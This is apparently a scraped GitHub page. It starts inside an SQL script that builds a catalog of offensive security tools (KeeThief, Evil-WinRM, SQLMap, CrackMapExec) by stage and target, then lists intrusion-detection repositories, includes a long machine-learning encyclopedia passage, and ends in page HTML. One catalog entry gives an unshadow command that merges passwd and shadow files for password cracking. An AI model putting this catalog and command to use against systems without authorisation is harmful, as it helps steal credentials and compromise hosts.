Description, Info, Features, Target, Offensive, commands) VALUES ('Evil-WinRM', 'Exploit', 'Malware exuivilent of WinRM and used to exploit windows systems', 'https://github.com/Hackplayers/evil-winrm', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Seatbelt', 'Post', 'Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives', 'https://github.com/GhostPack/Seatbelt', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WinPeas', 'Post', 'For full enumeration of windows host (internal)', 'https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Lockless', 'Post', 'LockLess is a C# tool that allows for the enumeration of open file handles and the copying of locked files', 'https://github.com/GhostPack/Lockless', 'File interaction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SQLMap', 'Exploit', 'Automates the process of detecting and exploiting SQL injection flaws and taking over of database servers', 'http://sqlmap.org/', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('KEETheif', 'Post', 'Allows for the extraction of KeePass 2.X key material from memory, as well as the backdooring and enumeration of the KeePass trigger system', 'https://github.com/GhostPack/KeeThief', 'File interacction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('TheHarvester', 'Enum', 'The objective of this program is to gather emails, subdomains, hosts, employee names, open ports and banners from different public sources like search engines, PGP key servers and SHODAN computer database', 'https://tools.kali.org/information-gathering/theharvester', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('jSQLInjection', 'Enum', 'used for gathering SQL databse information form a distant source', 'https://tools.kali.org/vulnerability-analysis/jsql', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hping', 'Enum', 'Ping command on steroids, used to enumerating firewalls', 'https://tools.kali.org/information-gathering/hping3', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux Exploit Suggester', 'Post', 'keeps track of vulnerabilities and suggests exploits to gain root access', 'https://tools.kali.org/exploitation-tools/linux-exploit-suggester', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unix-PrivEsc-Check', 'Post', ' It tries to find misconfigurations that could allow local unprivileged users to escalate privileges to other users or to access local apps, written in a single shell script so is easy to upload', 'https://tools.kali.org/vulnerability-analysis/unix-privesc-check', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Dotdotpwn', 'Enum', 'It’s a very flexible intelligent fuzzer to discover traversal directory vulnerabilities in software such as HTTP/FTP/TFTP servers', 'https://tools.kali.org/information-gathering/dotdotpwn', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Websploit', 'Enum, Exploit', 'Swiss-army-knife of web exploits ranging from social engineering to honeypots and everything in between', 'https://tools.kali.org/web-applications/websploit', NULL, 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('XSSer', 'Enum', 'To detect, exploit and report XSS vulnerabilities in web-based applications', 'https://tools.kali.org/web-applications/xsser', 'Exploit enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Name-That-Hash', 'Utility', 'Hash-identifier with more deatils and command line based', 'https://github.com/HashPals/Name-That-Hash', NULL, 'N/A', 'N', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SMBMap', 'Enum', 'enumerate shares over a domin', 'https://tools.kali.org/information-gathering/smbmap', 'Scanning', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Redis-Cli', 'Exploit', 'used for interacting and exploiting reddis-cli on port 6379', 'https://book.hacktricks.xyz/pentesting/6379-pentesting-redis ; https://redis.io/topics/rediscli', 'SQL', 'SQL', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unshadow', 'POST', 'Combining passwd and shadow files into 1', 'simply use: unshadow <passwd file> <shadow file> > <output file>', 'Passwords', 'Hash', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WPScan', 'Enum', 'Look for vulnerabilities in wordpress site', 'https://github.com/wpscanteam/wpscan', 'Scanning', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Netcat', 'Utility', 'used for connecting 2 computers', 'https://www.win.tue.nl/~aeb/linux/hh/netcat_tutorial.pdf', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux commands', 'Post', 'Linux commands used for Priv esc', 'https://gtfobins.github.io, https://wadcoms.github.io', 'Priv Esc', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CrackMapExec', 'Enum,, Exploit', 'Swis army knife of network testing', 'https://ptestmethod.readthedocs.io/en/latest/cme.html', 'Scanning, Exploit', 'Networks', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('IKE-Scan', 'Enum', 'Used to dicover, fingerprint and test IPsec VPN systems', 'http://www.nta-monitor.com/wiki/index.php/Ike-scan_User_Guide', 'Scanning', 'VPN', NULL, NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PSK-Crack', 'Exploit', 'attempts to crack IKE Aggressive Mode pre-shared keys that have previously been gathered using ike-scan with the --pskcrack option', 'https://linux.die.net/man/1/psk-crack', 'Connect, Brute', 'Wifi', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CeWL', 'Enum', 'spiders a given url returning a wordlist that is intednded for cracking passwords', 'https://tools.kali.org/password-attacks/cewl', 'Brute', 'Web', 'Y', NULL); COMMIT TRANSACTION; PRAGMA foreign_keys = on;
grayddq / HIDSHIDS全称是Host-based Intrusion Detection System,即基于主机型入侵检测系统,HIDS运行依赖这样一个原理:一个成功的入侵者一般而言都会留下他们入侵的痕迹。本人更倾向于通过记录主机的重要信息变更来发现入侵者。 本项目由两部分组成:一部分osquery、另一部分监控脚本来补充osquery规则的不足; 本文是第一部分osquery规则部分,实现绝大部分主机信息监控。
saucer-man / DlogHost log detection based on deep learning 基于LSTM神经网络模型的日志异常检测
Aryia-Behroziuan / NeuronsAn ANN is a model based on a collection of connected units or nodes called "artificial neurons", which loosely model the neurons in a biological brain. Each connection, like the synapses in a biological brain, can transmit information, a "signal", from one artificial neuron to another. An artificial neuron that receives a signal can process it and then signal additional artificial neurons connected to it. In common ANN implementations, the signal at a connection between artificial neurons is a real number, and the output of each artificial neuron is computed by some non-linear function of the sum of its inputs. The connections between artificial neurons are called "edges". Artificial neurons and edges typically have a weight that adjusts as learning proceeds. The weight increases or decreases the strength of the signal at a connection. Artificial neurons may have a threshold such that the signal is only sent if the aggregate signal crosses that threshold. Typically, artificial neurons are aggregated into layers. Different layers may perform different kinds of transformations on their inputs. Signals travel from the first layer (the input layer) to the last layer (the output layer), possibly after traversing the layers multiple times. The original goal of the ANN approach was to solve problems in the same way that a human brain would. However, over time, attention moved to performing specific tasks, leading to deviations from biology. Artificial neural networks have been used on a variety of tasks, including computer vision, speech recognition, machine translation, social network filtering, playing board and video games and medical diagnosis. Deep learning consists of multiple hidden layers in an artificial neural network. This approach tries to model the way the human brain processes light and sound into vision and hearing. Some successful applications of deep learning are computer vision and speech recognition.[68] Decision trees Main article: Decision tree learning Decision tree learning uses a decision tree as a predictive model to go from observations about an item (represented in the branches) to conclusions about the item's target value (represented in the leaves). It is one of the predictive modeling approaches used in statistics, data mining, and machine learning. Tree models where the target variable can take a discrete set of values are called classification trees; in these tree structures, leaves represent class labels and branches represent conjunctions of features that lead to those class labels. Decision trees where the target variable can take continuous values (typically real numbers) are called regression trees. In decision analysis, a decision tree can be used to visually and explicitly represent decisions and decision making. In data mining, a decision tree describes data, but the resulting classification tree can be an input for decision making. Support vector machines Main article: Support vector machines Support vector machines (SVMs), also known as support vector networks, are a set of related supervised learning methods used for classification and regression. Given a set of training examples, each marked as belonging to one of two categories, an SVM training algorithm builds a model that predicts whether a new example falls into one category or the other.[69] An SVM training algorithm is a non-probabilistic, binary, linear classifier, although methods such as Platt scaling exist to use SVM in a probabilistic classification setting. In addition to performing linear classification, SVMs can efficiently perform a non-linear classification using what is called the kernel trick, implicitly mapping their inputs into high-dimensional feature spaces. Illustration of linear regression on a data set. Regression analysis Main article: Regression analysis Regression analysis encompasses a large variety of statistical methods to estimate the relationship between input variables and their associated features. Its most common form is linear regression, where a single line is drawn to best fit the given data according to a mathematical criterion such as ordinary least squares. The latter is often extended by regularization (mathematics) methods to mitigate overfitting and bias, as in ridge regression. When dealing with non-linear problems, go-to models include polynomial regression (for example, used for trendline fitting in Microsoft Excel[70]), logistic regression (often used in statistical classification) or even kernel regression, which introduces non-linearity by taking advantage of the kernel trick to implicitly map input variables to higher-dimensional space. Bayesian networks Main article: Bayesian network A simple Bayesian network. Rain influences whether the sprinkler is activated, and both rain and the sprinkler influence whether the grass is wet. A Bayesian network, belief network, or directed acyclic graphical model is a probabilistic graphical model that represents a set of random variables and their conditional independence with a directed acyclic graph (DAG). For example, a Bayesian network could represent the probabilistic relationships between diseases and symptoms. Given symptoms, the network can be used to compute the probabilities of the presence of various diseases. Efficient algorithms exist that perform inference and learning. Bayesian networks that model sequences of variables, like speech signals or protein sequences, are called dynamic Bayesian networks. Generalizations of Bayesian networks that can represent and solve decision problems under uncertainty are called influence diagrams. Genetic algorithms Main article: Genetic algorithm A genetic algorithm (GA) is a search algorithm and heuristic technique that mimics the process of natural selection, using methods such as mutation and crossover to generate new genotypes in the hope of finding good solutions to a given problem. In machine learning, genetic algorithms were used in the 1980s and 1990s.[71][72] Conversely, machine learning techniques have been used to improve the performance of genetic and evolutionary algorithms.[73] Training models Usually, machine learning models require a lot of data in order for them to perform well. Usually, when training a machine learning model, one needs to collect a large, representative sample of data from a training set. Data from the training set can be as varied as a corpus of text, a collection of images, and data collected from individual users of a service. Overfitting is something to watch out for when training a machine learning model. Federated learning Main article: Federated learning Federated learning is an adapted form of distributed artificial intelligence to training machine learning models that decentralizes the training process, allowing for users' privacy to be maintained by not needing to send their data to a centralized server. This also increases efficiency by decentralizing the training process to many devices. For example, Gboard uses federated machine learning to train search query prediction models on users' mobile phones without having to send individual searches back to Google.[74] Applications There are many applications for machine learning, including: Agriculture Anatomy Adaptive websites Affective computing Banking Bioinformatics Brain–machine interfaces Cheminformatics Citizen science Computer networks Computer vision Credit-card fraud detection Data quality DNA sequence classification Economics Financial market analysis[75] General game playing Handwriting recognition Information retrieval Insurance Internet fraud detection Linguistics Machine learning control Machine perception Machine translation Marketing Medical diagnosis Natural language processing Natural language understanding Online advertising Optimization Recommender systems Robot locomotion Search engines Sentiment analysis Sequence mining Software engineering Speech recognition Structural health monitoring Syntactic pattern recognition Telecommunication Theorem proving Time series forecasting User behavior analytics In 2006, the media-services provider Netflix held the first "Netflix Prize" competition to find a program to better predict user preferences and improve the accuracy of its existing Cinematch movie recommendation algorithm by at least 10%. A joint team made up of researchers from AT&T Labs-Research in collaboration with the teams Big Chaos and Pragmatic Theory built an ensemble model to win the Grand Prize in 2009 for $1 million.[76] Shortly after the prize was awarded, Netflix realized that viewers' ratings were not the best indicators of their viewing patterns ("everything is a recommendation") and they changed their recommendation engine accordingly.[77] In 2010 The Wall Street Journal wrote about the firm Rebellion Research and their use of machine learning to predict the financial crisis.[78] In 2012, co-founder of Sun Microsystems, Vinod Khosla, predicted that 80% of medical doctors' jobs would be lost in the next two decades to automated machine learning medical diagnostic software.[79] In 2014, it was reported that a machine learning algorithm had been applied in the field of art history to study fine art paintings and that it may have revealed previously unrecognized influences among artists.[80] In 2019 Springer Nature published the first research book created using machine learning.[81] Limitations Although machine learning has been transformative in some fields, machine-learning programs often fail to deliver expected results.[82][83][84] Reasons for this are numerous: lack of (suitable) data, lack of access to the data, data bias, privacy problems, badly chosen tasks and algorithms, wrong tools and people, lack of resources, and evaluation problems.[85] In 2018, a self-driving car from Uber failed to detect a pedestrian, who was killed after a collision.[86] Attempts to use machine learning in healthcare with the IBM Watson system failed to deliver even after years of time and billions of dollars invested.[87][88] Bias Main article: Algorithmic bias Machine learning approaches in particular can suffer from different data biases. A machine learning system trained on current customers only may not be able to predict the needs of new customer groups that are not represented in the training data. When trained on man-made data, machine learning is likely to pick up the same constitutional and unconscious biases already present in society.[89] Language models learned from data have been shown to contain human-like biases.[90][91] Machine learning systems used for criminal risk assessment have been found to be biased against black people.[92][93] In 2015, Google photos would often tag black people as gorillas,[94] and in 2018 this still was not well resolved, but Google reportedly was still using the workaround to remove all gorillas from the training data, and thus was not able to recognize real gorillas at all.[95] Similar issues with recognizing non-white people have been found in many other systems.[96] In 2016, Microsoft tested a chatbot that learned from Twitter, and it quickly picked up racist and sexist language.[97] Because of such challenges, the effective use of machine learning may take longer to be adopted in other domains.[98] Concern for fairness in machine learning, that is, reducing bias in machine learning and propelling its use for human good is increasingly expressed by artificial intelligence scientists, including Fei-Fei Li, who reminds engineers that "There’s nothing artificial about AI...It’s inspired by people, it’s created by people, and—most importantly—it impacts people. It is a powerful tool we are only just beginning to understand, and that is a profound responsibility.”[99] Model assessments Classification of machine learning models can be validated by accuracy estimation techniques like the holdout method, which splits the data in a training and test set (conventionally 2/3 training set and 1/3 test set designation) and evaluates the performance of the training model on the test set. In comparison, the K-fold-cross-validation method randomly partitions the data into K subsets and then K experiments are performed each respectively considering 1 subset for evaluation and the remaining K-1 subsets for training the model. In addition to the holdout and cross-validation methods, bootstrap, which samples n instances with replacement from the dataset, can be used to assess model accuracy.[100] In addition to overall accuracy, investigators frequently report sensitivity and specificity meaning True Positive Rate (TPR) and True Negative Rate (TNR) respectively. Similarly, investigators sometimes report the false positive rate (FPR) as well as the false negative rate (FNR). However, these rates are ratios that fail to reveal their numerators and denominators. The total operating characteristic (TOC) is an effective method to express a model's diagnostic ability. TOC shows the numerators and denominators of the previously mentioned rates, thus TOC provides more information than the commonly used receiver operating characteristic (ROC) and ROC's associated area under the curve (AUC).[101] Ethics Machine learning poses a host of ethical questions. Systems which are trained on datasets collected with biases may exhibit these biases upon use (algorithmic bias), thus digitizing cultural prejudices.[102] For example, using job hiring data from a firm with racist hiring policies may lead to a machine learning system duplicating the bias by scoring job applicants against similarity to previous successful applicants.[103][104] Responsible collection of data and documentation of algorithmic rules used by a system thus is a critical part of machine learning. Because human languages contain biases, machines trained on language corpora will necessarily also learn these biases.[105][106] Other forms of ethical challenges, not related to personal biases, are more seen in health care. There are concerns among health care professionals that these systems might not be designed in the public's interest but as income-generating machines. This is especially true in the United States where there is a long-standing ethical dilemma of improving health care, but also increasing profits. For example, the algorithms could be designed to provide patients with unnecessary tests or medication in which the algorithm's proprietary owners hold stakes. There is huge potential for machine learning in health care to provide professionals a great tool to diagnose, medicate, and even plan recovery paths for patients, but this will not happen until the personal biases mentioned previously, and these "greed" biases are addressed.[107] Hardware Since the 2010s, advances in both machine learning algorithms and computer hardware have led to more efficient methods for training deep neural networks (a particular narrow subdomain of machine learning) that contain many layers of non-linear hidden units.[108] By 2019, graphic processing units (GPUs), often with AI-specific enhancements, had displaced CPUs as the dominant method of training large-scale commercial cloud AI.[109] OpenAI estimated the hardware compute used in the largest deep learning projects from AlexNet (2012) to AlphaZero (2017), and found a 300,000-fold increase in the amount of compute required, with a doubling-time trendline of 3.4 months.[110][111] Software Software suites containing a variety of machine learning algorithms include the following: Free and open-source so
RoseSecurity / Obfusc8tedYou and the AppleLabs' Incident Response Team have been notified of a potential breach to a Human Resources' workstation. According to the Human Resources representative, they did not notice any anomalous activity while browsing the web, but the AppleLabs' system information and event management (SIEM) instance alerted on a suspicious domain. Moments later, the host-based intrusion detection system (HIDS) alerted on several malicious programs acting as potential keyloggers. While the AppleLabs' IT and Incident Response Teams struggle to find the answers, can you lend us your digital forensic experience to hunt down this threat actor?
awslabs / Hids Cloudwatchlogs Opensearch TemplateMonitor Host-Based Intrusion Detection System Alerts on Amazon EC2 Instances
cedricbonhomme / PyHIDSA HIDS (host-based intrusion detection system) for verifying the integrity of a system.
FaizanAnwar01 / RECON GHOSTA powerful Bash-based automated reconnaissance toolkit for bug bounty hunters and penetration testers. Includes subdomain enumeration, port scanning, live host detection, fuzzing, and more. 🔍
fkie-cad / COMIDDSA comprehensive survey of datasets for research in host-based and/or network-based intrusion detection, with a focus on enterprise networks
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class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 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flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in all of GitHub"> Search </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-center flex-items-center p-0 f5 js-jump-to-suggestion"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" viewBox="0 0 16 16" fill="none" width="32" height="32" class="m-3 anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </li> </ul> </div> </label> </form> </div> </div> <nav class="d-flex flex-column flex-md-row flex-self-stretch flex-md-self-auto" aria-label="Global"> <a class="Header-link py-md-3 d-block d-md-none py-2 border-top border-md-top-0 border-white-fade-15" data-ga-click="Header, click, Nav menu - item:dashboard:user" aria-label="Dashboard" href="/dashboard"> Dashboard </a> <a class="js-selected-navigation-item Header-link mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade-15" data-hotkey="g p" data-ga-click="Header, click, Nav menu - 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data-hydro-click="{"event_type":"sponsors.button_click","payload":{"button":"HEADER_SPONSORS_DASHBOARD","sponsorable_login":"NhaPhatHanh","originating_url":"https://github.com/","user_id":83227313}}" data-hydro-click-hmac="e59a001759ac502766a9a79710990f560ffbc26ec341d36fba1e1674a4ab880a" data-selected-links=" /sponsors/accounts" href="/sponsors/accounts">Sponsors</a> <a class="Header-link d-block d-md-none mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade-15" href="/settings/profile"> Settings </a> <a class="Header-link d-block d-md-none mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade-15" href="/NhaPhatHanh"> <img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/83227313?s=40&v=4" width="20" height="20" alt="@NhaPhatHanh" /> NhaPhatHanh </a> <!-- '"` --><!-- </textarea></xmp> --></option></form><form action="/logout" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="/bvHCE5uPa671HZX0lHcfO5NQCGW65I5RiPW/FN+4TZY3UGvvrD3Ul2OVB9nrTCoXNAaoY0jT2eK9JRWIQ8zng==" /> <button type="submit" class="Header-link mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade-15 d-md-none btn-link d-block width-full text-left" data-ga-click="Header, sign out, icon:logout" style="padding-left: 2px;"> <svg class="octicon octicon-sign-out v-align-middle" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 2.75C2 1.784 2.784 1 3.75 1h2.5a.75.75 0 010 1.5h-2.5a.25.25 0 00-.25.25v10.5c0 .138.112.25.25.25h2.5a.75.75 0 010 1.5h-2.5A1.75 1.75 0 012 13.25V2.75zm10.44 4.5H6.75a.75.75 0 000 1.5h5.69l-1.97 1.97a.75.75 0 101.06 1.06l3.25-3.25a.75.75 0 000-1.06l-3.25-3.25a.75.75 0 10-1.06 1.06l1.97 1.97z"></path></svg> Sign out </button> </form></nav> </div> <div class="Header-item Header-item--full flex-justify-center d-md-none position-relative"> <a class="Header-link " href="https://github.com/" data-hotkey="g d" aria-label="Homepage " data-ga-click="Header, go to dashboard, icon:logo"> <svg class="octicon octicon-mark-github v-align-middle" height="32" viewBox="0 0 16 16" version="1.1" width="32" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> </a> </div> <div class="Header-item mr-0 mr-md-3 flex-order-1 flex-md-order-none"> <notification-indicator class="js-socket-channel" data-test-selector="notifications-indicator" data-channel="eyJjIjoibm90aWZpY2F0aW9uLWNoYW5nZWQ6ODMyMjczMTMiLCJ0IjoxNjE5NTk4OTc0fQ==--730e096ffe8d6c47126ebde7dcc46b346629b78d85c402370d95a91d6b54e5f8"> <a href="/notifications" class="Header-link notification-indicator position-relative tooltipped tooltipped-sw" aria-label="You have no unread notifications" data-hotkey="g n" data-ga-click="Header, go to notifications, icon:read" data-target="notification-indicator.link"> <span class="mail-status " data-target="notification-indicator.modifier"></span> <svg class="octicon octicon-bell" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> </a> </notification-indicator> </div> <div class="Header-item position-relative d-none d-md-flex"> <details class="details-overlay details-reset js-header-promo-toggle"> <summary class="Header-link" aria-label="Create new…" data-ga-click="Header, create new, icon:add"> <svg class="octicon octicon-plus" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.75 2a.75.75 0 01.75.75V7h4.25a.75.75 0 110 1.5H8.5v4.25a.75.75 0 11-1.5 0V8.5H2.75a.75.75 0 010-1.5H7V2.75A.75.75 0 017.75 2z"></path></svg> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw"> <a role="menuitem" class="dropdown-item" href="/new" data-ga-click="Header, create new repository"> New repository </a> <a role="menuitem" class="dropdown-item" href="/new/import" data-ga-click="Header, import a repository"> Import repository </a> <a role="menuitem" class="dropdown-item" href="https://gist.github.com/" data-ga-click="Header, create new gist"> New gist </a> <a role="menuitem" class="dropdown-item" href="/organizations/new" data-ga-click="Header, create new organization"> New organization </a> <a role="menuitem" class="dropdown-item" href="/new/project" data-ga-click="Header, create new project"> New project </a> </details-menu> </details> </div> <div class="Header-item position-relative mr-0 d-none d-md-flex"> <details class="details-overlay details-reset js-header-promo-toggle js-feature-preview-indicator-container" data-feature-preview-indicator-src="/users/NhaPhatHanh/feature_preview/indicator_check"> <summary class="Header-link" aria-label="View profile and more" data-ga-click="Header, show menu, icon:avatar"> <img src="https://avatars.githubusercontent.com/u/83227313?s=60&v=4" alt="@NhaPhatHanh" size="20" height="20" width="20" class="avatar-user avatar avatar-small "></img> <span class="feature-preview-indicator js-feature-preview-indicator" style="top: 1px;" hidden></span> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw" style="width: 180px" src="/users/83227313/menu" preload> <include-fragment> <p class="text-center mt-3" data-hide-on-error> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" viewBox="0 0 16 16" fill="none" width="32" height="32" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </p> <p class="ml-1 mb-2 mt-2 color-text-primary" data-show-on-error> <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Sorry, something went wrong. </p> </include-fragment> </details-menu> </details> </div> </header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="container-lg px-2" > <button class="flash-close js-flash-close" type="button" 